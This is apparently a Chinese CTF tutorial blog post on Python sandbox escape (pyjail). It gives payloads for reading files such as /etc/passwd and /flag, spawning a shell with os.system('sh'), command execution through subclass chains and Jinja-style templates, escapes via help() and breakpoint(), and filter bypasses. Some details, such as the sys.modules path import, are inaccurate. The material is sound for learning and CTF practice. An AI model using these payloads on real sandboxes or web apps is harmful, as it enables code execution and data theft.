0%

python沙箱逃逸-pyjail基础

前言:

之前还在学校的时候,和拉蒙特徐聊到过pyjail,那个时候只对pyjail有一个较为泛泛的认识,拉蒙特徐建议我可以深入去学一下,我感觉虽然把pyjail类的题归类到misc,但是在web中也是可以加以利用的,因此在此处详细的学习一下关于pyjail的基础知识等内容

python特性,魔术方法以及魔术属性

  1. python类的继承:所有的类均继承自object基类,python中一切都是对象的特性
    基于python2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class person:
'''
不带有object的类
'''
name="3a0"

class person2(object):
'''
带有object的类
'''
name="3a0"

if __name__ == "__main__":
x=person()
print("person",dir(x))
y=person2()
print("person2",dir(y))

这两类输出的结果大不相同,继承object的比不继承object的,多了很多可操作对象

基于python3

1
2
person ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'name']
person2 ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'name']

可操作对象一样多

原因:

从 Python 3 开始,如果你不显式地写 (object),解释器实际上会自动帮你加上去,即隐式继承,且都为新式类
使用 Python 2,那么:不带 (object) 的类叫旧式类(old‑style class),没有 C3 MRO,super() 不可用或表现不一致,不支持描述符的全部功能,带(object) 的类才是新式类,如果环境是Python 2,dir(x)(旧式类实例)和 dir(y)(新式类实例)就会有明显差异:

新式类会多出一些诸如 classmrodictweakref 等底层属性,旧式类则不会有这些

依旧打表,列出常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__init__:#对象初始化方法,在创建对象时调用
__repr__:#返回对象的"官方"字符串表示形式(与__str__区分)
__str__:#返回对象的"非正式"或友好字符串表示形式
__len__:#返回对象长度
__getitem__:#获取对象中指定键的值
__setitem__:#设置对象中指定键的值
__delitem__:#删除对象中指定键的值
__iter__:#返回一个迭代器对象
__contains__:#检查对象是否包含指定的元素
__call__:#实例化对象作为函数调用时调用
__bases__:#返回当前类的基类,例如str.__base__会返回<class 'object'>
__subclasses__():#查看当前类的子类组成的列表
__builtins__:#以一个集合的新式查看其引用
__getattr__,__setattr__,__delattr__:#处理对象属性的获取,设置和删除
__enter__,__exit__:#定义在使用with语句时对象的上下文管理行为
globals:#返回所有全局变量的函数
locals:#返回所有局部变量的函数
__import__:#载入模块的函数,例如import os等价于os=__import__('os')
__file__:#该变量指示当前运行代码所在路径
_:#该变量返回上一次运行的python语句结果,需要注意的是,该变量仅仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

#较为有用的几个
chr,ord:#字符与ascii码转换函数
dir:#查看对象的所有属性和方法
__doc__:#类的帮助文档,默认类均有帮助文档,对于自定义的类,需要我们自己实现

pyjail基础解法以及payload的构造

针对于python的沙箱逃逸,实现基础的payload

在python中导入模块的方法通常有三种

1
2
3
4
1. import xxx
2. from xxx import xxx
3. __import__('xxx')
4. Linux中路径引入

通过以上的导入方法,导入相关模块并使用上述的函数实现命令执行,除此之外,我们也可以通过路径引入模块:
如在Linux系统中python的os模块的路径一般都是在’/user/lib/pythonx.x/os.py’,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数
例如

1
2
3
4
>>> import sys
>>> sys.modules['os']='/usr/lib/python3.12.3/os.py' #路径引入
>>> import os
>>>

基础payload

1
2
3
4
5
6
7
8
9
10
11
12
print(open('/flag').read())
__import__('os').system('cat /flag') #有权限可读取,没权限就提权
__import__('os').system('sh') #sh是Unix下的一个shell,执行这条命令相当于在当前终端离再启动一个交互式shell,能够执行更多任意命令


#倘若导入os等基操手法被禁用,就利用python的反射机制去构造
#读文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('要写入的内容')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')

关于下三行的解释
针对于读写文件:

1
2
3
4
5
6
7
8
1. ()是任意实例,之类用空tuple
2. .__class__得到了tuple
3. __bases__[0]拿到tuple的第一个基类也就是object
4. 前面这一串就是object的类了
5. object.__subclasses__():遍历出所有继承自object的类
6. [40]:选中列表里的第40项,即_io.TextIOWrapper,_io.TextIOWrapper 就是 Python下的“文件读写”类型
7. (...):调用构造函数,返回文件对象,
8. .read():读取整个文件

针对于任意命令执行:

1
2
3
4
5
1. [59]:选中列表里的第59项,即function,function则是Python函数对象的类
2. 拿到function的__init__方法对象,
3. 在python2的情况下全局命名空间字典,挖到字典第13项这个位置是eval
4. 调用eval执行任意命令
5. 补充:在python3中,全局命名空间字典要通过__globals__而不是func_globals,若是对13这个位置存疑,也可以遍历func_globals的key和value来定位eval

pyjail的绕过方法

基于长度限制的绕过

help
  1. 输入:help(),这里字符串长度只有6,会进入正常调用eval函数
  2. 进入help交互式,然后输入任意一个模块名获得该模块的帮助文档,如sys;
  3. 在Linux中,这里呈现帮助文档时,实际上是调用了系统里的less或more命令,可以利用这两个命令执行本地命令的特性来获取一个shell,据徐按#!,再执行外部命令sh即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
help> os
Help on module os:

NAME
os - OS routines for NT or Posix depending on what system we're on.

MODULE REFERENCE
https://docs.python.org/3.8/library/os

The following documentation is automatically generated from the Python
source files. It may be incomplete, incorrect or include features that
are considered implementation detail and may vary between Python
implementations. When in doubt, consult the module reference at the
location listed above.

DESCRIPTION
This exports:
- all functions from posix or nt, e.g. unlink, stat, etc.
- os.path is either posixpath or ntpath
- os.name is either 'posix' or 'nt'
- os.curdir is a string representing the current directory (always '.')
- os.pardir is a string representing the parent directory (always '..')
- os.sep is the (or a most common) pathname separator ('/' or '\\')
- os.extsep is the extension separator (always '.')
--More--!ls
!ls
flag server.py
------------------------
--More--!cat flag
!cat flag
flag=NSSCTF{0a6a75a8-79eb-4de8-b5ef-0209c50b8e2c}
------------------------
--More--

输入help之后直接写入os
然后有一个more,在–后面用!再跟上要执行的命令,就可以完成想要的操作
类似如下

1
2
3
4
5
6
------------------------
--More--!cat flag
!cat flag
flag=NSSCTF{0a6a75a8-79eb-4de8-b5ef-0209c50b8e2c}
------------------------
--More--
breakpoint()

breakpoint()函数可以再程序的任何位置调用,当程序执行到这个位置时,它将暂停,并打开一个交互式调试器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) list
[EOF]
(Pdb) step
Answer: None
--Return--
> /home/ctf/server.py(34)<module>()->None
-> print('Answer: {}'.format(eval(input_data)))
(Pdb) list
29 input_data = input("> ")
30 filter(input_data)
31 if len(input_data)>13:
32 print("Oh hacker!")
33 exit(0)
34 -> print('Answer: {}'.format(eval(input_data)))
[EOF]
(Pdb) input_data=__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{1503cbf4-8065-4000-8509-f97f98fee3fa}

类似如此打个断点step,然后list发现input_data可以修改,然后写入我们的可操作语句

多次交互进行拼接
  1. “_”函数字符拼接
  2. ‘00’
  3. _+’ aaa’
  4. _+’ bbb’
  5. eval(_)

基于字符串匹配过滤的绕过

函数返回值
1
2
0: int(bool([])),False,len([]),any(()),int(list(list(dict(a0=())).pop()).pop())
1: int(bool([""])),True,all(()),int(list(list(dict(a1=())).pop()).pop())

有不懂的payload查AI就知道,这里不多说(看不懂的真得去补一下基本功)

字符串取整
1
2
len(repr(True))
len(repr(bytearray))
len+dict+list
1
2
3
4
0->len([])
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])])
#要构造更大的数字,适当的去增加a的数量即可
利用属性来进行字符串匹配的绕过
  1. getattr函数
    用于获取某个对象的属性或者方法
    exp:
1
2
3
4
>>> import os
>>> getattr(os,'system')('ls')
able cookies.txt hash.txt my-ejs-app node_modules output package.json package-lock.json reports
0
  1. __getattribute__函数
    本质上和调用第一个相同

  2. __getattr__函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
一、作用与调用时机
作用
当你访问一个对象的属性时,如果该属性既不在实例(__dict__)中,也不在类或基类中定义,Python 会调用该对象的 __getattr__(self, name) 方法。
调用时机
正常属性查找流程:
在实例 __dict__ 中查找;
在类及其基类的属性中查找;
查找不到时,才调用 __getattr__;
如果 __getattr__ 返回一个值,就把它当作属性值返回;
如果 __getattr__ 自身抛出 AttributeError,则最终向调用者报告“属性不存在”

exp:
class C:
def __init__(self):
self.existing = 42

def __getattr__(self, name):
# 只有在 existing 之外的属性访问时才会调用到这里
if name == "dynamic":
return "动态生成的值"
# 如果还是不认识,就按惯例抛出 AttributeError
raise AttributeError(f"{self.__class__.__name__!r} object has no attribute {name!r}")

c = C()
print(c.existing) # 42,正常查找,__getattr__ 不会被调用
print(c.dynamic) # "动态生成的值",因为在 __getattr__ 中处理了
print(c.other) # 抛出 AttributeError: 'C' object has no attribute 'other'
  1. __globals__替换
    可以动态修改全局变量以及简单的依赖注入
    这个倒是个好东西,可以使被封禁的内置函数等复活
    alt text
    alt text

某些 Python 运行环境或沙箱里,globals()[‘builtins‘]会直接被设置成一个字典,那么就有如下的exp来访问普通字典
exp:

1
2
3
4
5
6
(lambda:0).__globals__['__builtins__']['__import__']('os').popen('ls /').read()
#(lambda:0):定义一个临时函数
#.__globals__:取到它的全局命名空间
#['__builtins__']:拿到内建函数字典或模块
#['__import__']('os'):导入os模块
#.popen('ls /').read:嗲用popen,读取根目录列表

但是在更通俗的情况下,globals()[‘builtins‘]返回的是 builtins 模块对象,此时你必须先取它的 dict
exp2

1
(lambda:0).__globals__['__builtins__'].__dict__['__import__']('os').popen('ls').read()

要是懒得去试的话,可以直接用getattr绕开__dict__(前提是没被过滤)

1
2
3
4
5
(lambda:0)
.__globals__['__builtins__']
.__import__('os')
.popen('ls /')
.read()

因为模块对象和字典都支持

1
getattr(builtins,'__import__') 或 builtins['__import__']。
  1. 两个__mro__,__bases__互换

__mro__是一个元组,表示“方法解析顺序”(Method Resolution Order)。当你调用一个方法或访问一个属性时,Python 要决定先在哪个类中查找它,按照 MRO 中列出的顺序依次查找,直到找到为止。

典型场景:对于单继承,MRO 就是 [当前类, 父类, 再上级父类, …, object];对于多重继承,Python 使用 C3 线性化算法来合并各父类的 MRO,保证在不违背继承次序的前提下得到一个线性顺序。

__bases__也是一个元组,列出了该类直接继承的所有父类(基类)。它只反映“直接”继承关系,不包括祖父类、曾祖父类等。

典型场景:用来动态检查或调试类的继承结构,或者在运行时根据基类列表做一些动态操作。
exp

1
2
3
4
5
6
7
print(
# () 拿实例 → .__class__ 拿 tuple 类 → .__bases__[0] 拿 object →
# .__subclasses__()[40] 拿 FileIO 类 → 实例化('/flag','r') → .read() 读取
() .__class__.__bases__[0]
.__subclasses__()[40]('/flag','r')
.read()
)
区分一手

其中第二个和第三个经常弄混

特性 __getattribute__ __getattr__
触发条件 所有属性访问 仅在正常查找失败时触发
使用风险 易因直接访问 self.xxx 造成递归 相对安全,不会拦截已存在属性
典型用途 全局拦截(日志、安全、延迟加载等) 动态/虚拟属性、代理、兼容性处理

__globals__和他其他的类似属性的区别

属性 用途
__globals__ 函数体内用到的全局变量命名空间(模块级别)
__locals__ (仅在 eval/exec 的作用域字典中存在)
__builtins__ 全局命名空间下的内置模块或字典(如 len, dict

基于多行限制的绕过

由于在eval中直接执行两个用;拼凑起来的语句会报错,因此需要去寻找其他可以合成语句并且一起执行的方法

  1. exec
    支持换行符与分号
1
eval("exec('__import__(\"os\")\\nprint(1)')")
  1. compile
    支持换行符和分号
1
eval("eval(compile('print(\"hello world\"); print(\"heyy\")', '<stdin>', 'exec'))")
  1. 海象表达式(python 3.8以上)
1
eval('[a:=__import__("os"),b:=a.system("ls")]')

先来浅析什么是海象表达式

1
name := expression

海象运算符:= 的核心价值在于:将赋值与表达式融合
运算符:=允许你在表达式内部为变量赋值,从而简化某些需要先计算再测试、或一边循环一边获取新值的场景

说人话就是表达式运算和赋值一把梭

1
2
3
4
5
6
7
8
9
10
11
# 旧写法:每次都要调用一次 input(),并且还要把结果保存到变量里再判断
while True:
line = input("请输入内容(enter 退出):")
if not line:
break
print("你输入了:", line)


# 新写法:在条件表达式中完成赋值
while (line := input("请输入内容(enter 退出):")):
print("你输入了:", line)

了解了基本概念之后就可以来分析一下我们的peayload了

1
eval('[a:=__import__("os"), b:=a.system("ls")]')

eval后面跟着列表表达式,然后

1
a:=__import__("os")

就是利用海象表达式获取这个模块,并且赋值给a
后面的b也同理
整个列表表达式的结果是两次子表达式的值组成的列表
[ <os 模块对象>, <ls 命令返回码> ]
因此可以成功执行

基于模块删除的绕过

基于继承链的获取
  1. 继承链构造其他函数
1
2
3
4
5
6
所有类的基类都是object
查看变量所属的类(().__class__)
根据变量的类得到其所属的类(().__class__.__bases__)
反查object类的子类组成的列表(().__class__.__bases__[0].__subclasses__())
(().__class__.__base__.__subclasses__())获取当前python环境中所有对象的子类列表
[].__class__.__base__.__subclasses__()[40]获得第40个子类

这些我们在前面都已经解释的差不多了,感觉在这里也没有什么好补充的了

1
2
3
4
5
6
7
8
9
10
#python2中的file类可以直接用来读取文件(第40子类)
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

#python3环境中file类已经没有了,我们可以用<class '_frozen_importlib_external.FileLoader'>这个类去读取文件(第79子类)

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
#这里就相当于调用了get_data并且传了两个参,第一个0常被用作“不要缓存”或类似标志,第二个是要读取的文件路径"/etc/passwd"
{{().__class__.__bases__[0].__subclasses__()[79]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
#索引79对应的是subprocess.Popen.因此可以等价于subprocess.Popen("cat /flag", shell=True, stdout=-1),其中 shell=True 允许通过 shell 执行命令,stdout=-1(或 subprocess.PIPE)将标准输出重定向到管道
#communicate()方法等待子进程执行完毕,返回一个(stdout_bytes, stderr_bytes)的元组。索引[0]则取得标准输出部分也就是cat /flag命令打印的文件内容。
  1. 内建eval执行命令
    exp
1
{{"".__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

当然这只是个例子,具体类对应的下标要自己去判断

1
object.__subclasses__()

几个含有eval函数的类

1
2
3
4
5
6
7
8
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

tip1 unicode绕过

python3开始支持非ascii字符的标识符,也就是说可以使用unicode字符作为python的变量名,函数名等,python在解析代码的时候,使用的unicode normalization from KC(NFKC)规范化算法,这种算法可以将一些视觉上相似的unicode字符统一为一个标准形式

注意第一个字符不要为全角字符

tip2 input

在python2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值

在python2中,raw_input函数从标准输入接受输入,返回输入字符串

在python3中,input函数从标准输入接受输入,返回输入字符串

可以认为,python2 input()=python2 eval(raw_input())=python3 eval(input())

对于python2的input,相当于存在命令执行,可以rce

tip3 获取全局变量的方法

  1. 函数利用
    vars()

globals()

  1. help()

在help中直接查看__main__的情况